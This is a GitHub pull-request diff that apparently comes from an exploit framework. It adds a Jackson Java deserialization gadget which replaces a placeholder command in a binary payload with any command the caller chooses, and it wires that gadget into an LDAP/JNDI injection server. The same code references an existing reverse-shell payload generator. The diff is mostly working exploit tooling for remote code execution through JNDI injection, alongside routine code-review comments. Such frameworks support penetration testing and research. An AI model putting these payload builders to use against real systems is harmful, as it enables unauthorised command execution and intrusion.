Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added java/gadgets/Jackson.bin
Binary file not shown.
26 changes: 25 additions & 1 deletion java/javagadget.go
Original file line number Diff line number Diff line change
Expand Up @@ -431,7 +431,7 @@ func Commons10CommandBytecode(commandStr string) (string, error) {
//
// Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>".
func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
// 16-bit unsigned integer
// 16-bit (short) unsigned integer (big-endian)
if len(baseURL) < 1 || len(baseURL) > 65535 {
return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters")
} else if len(className) < 1 || len(className) > 65535 {
Expand All @@ -451,6 +451,30 @@ func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
return gadget, nil
}

// https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java
func JacksonGenericCommand(cmd string) (string, error) {
// 16-bit (short) unsigned integer (big-endian)
if len(cmd) < 1 || len(cmd) > 65535 {
return "", ErrorInvalidCommandLength("cmd must be between 1 and 65535 characters")
}

// $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C "touch /tmp/vulnerable"
gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "Jackson.bin"))
if err != nil {
return "", fmt.Errorf("failed to read gadget: %w", err)
}

gadget := string(gadgetBytes)
gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd)
Copy link

Copilot AI Oct 22, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The hardcoded placeholder \x00\x15touch /tmp/vulnerable embeds a magic value without explanation. Consider extracting this as a named constant with documentation explaining it represents the 16-bit length prefix (0x0015 = 21 bytes) followed by the original command from the gadget binary.

Copilot uses AI. Check for mistakes.
Copy link

Copilot AI Oct 22, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The relationship between arraySizeWithCommand (1620) and arraySizeWithoutCommand (1599) is unclear. The 21-byte difference should be documented to explain it corresponds to the length of 'touch /tmp/vulnerable' being replaced.

Suggested change
gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd)
gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd)
// The Jackson.bin gadget contains a hardcoded command string "touch /tmp/vulnerable" (21 bytes).
// arraySizeWithCommand (1620) is the size of the serialized array including the original command.
// arraySizeWithoutCommand (1599) is the size with the command removed; we add len(cmd) to get the new size.
// The 21-byte difference corresponds to the length of "touch /tmp/vulnerable" being replaced.

Copilot uses AI. Check for mistakes.
Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lol nice

const (
arraySizeWithCommand = "\x00\x00\x06\x54" // 1620
arraySizeWithoutCommand = 1599
)
gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd)))
Comment on lines +469 to +473
Copy link
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

gross


return gadget, nil
}

// This is a serialized java reverse shell. The gadget was generated by ysoserial
// but using the code in this pull https://github.com/frohoff/ysoserial/pull/96
// and updated to make it easy to swap in the desired lhost+lport of our choosing
Expand Down
14 changes: 12 additions & 2 deletions java/ldapjndi/ldapjndi.go
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ import (

message "github.com/lor00x/goldap/message"
ldap "github.com/vjeantet/ldapserver"
"github.com/vulncheck-oss/go-exploit/java"
"github.com/vulncheck-oss/go-exploit/output"
)

Expand All @@ -38,6 +39,8 @@ const (
BeanUtils194GenericBash GadgetName = 3
// load class via an HTTP server.
HTTPReverseShell GadgetName = 4
// See implementation in java.JacksonGenericCommand.
JacksonGenericCommand GadgetName = 5
)

// a dirty way to pass the user's desired gadget to `handleBind`.
Expand Down Expand Up @@ -111,7 +114,7 @@ func CreateLDAPServer(name string) *ldap.Server {
return server
}

func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, command string) {
func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, command string) {
switch gadget {
case TomcatNashornReverseShell:
GlobalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport)
Expand All @@ -121,6 +124,11 @@ func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, co
GlobalSerializedPayload = createGroovyGenericBash(command)
case BeanUtils194GenericBash:
GlobalSerializedPayload = createBeanUtils194GenericBash(command)
case JacksonGenericCommand:
var err error
if GlobalSerializedPayload, err = java.JacksonGenericCommand(command); err != nil {
output.PrintFrameworkError(err.Error())
}
case HTTPReverseShell:
fallthrough
default:
Expand All @@ -140,6 +148,8 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
fallthrough
case BeanUtils194GenericBash:
fallthrough
case JacksonGenericCommand:
fallthrough
default:
output.PrintFrameworkError("Invalid payload")

Expand All @@ -166,7 +176,7 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
// "10.9.49.242" -> lhost
// 1270 -> lport
// The change in size will then be accounted for in the padding variable.
func createTomcatNashornReverseShell(binary string, lhost string, lport int) string {
func createTomcatNashornReverseShell(binary, lhost string, lport int) string {
shellPayload := "\xac\xed" +
"\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" +
"\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" +
Expand Down
Loading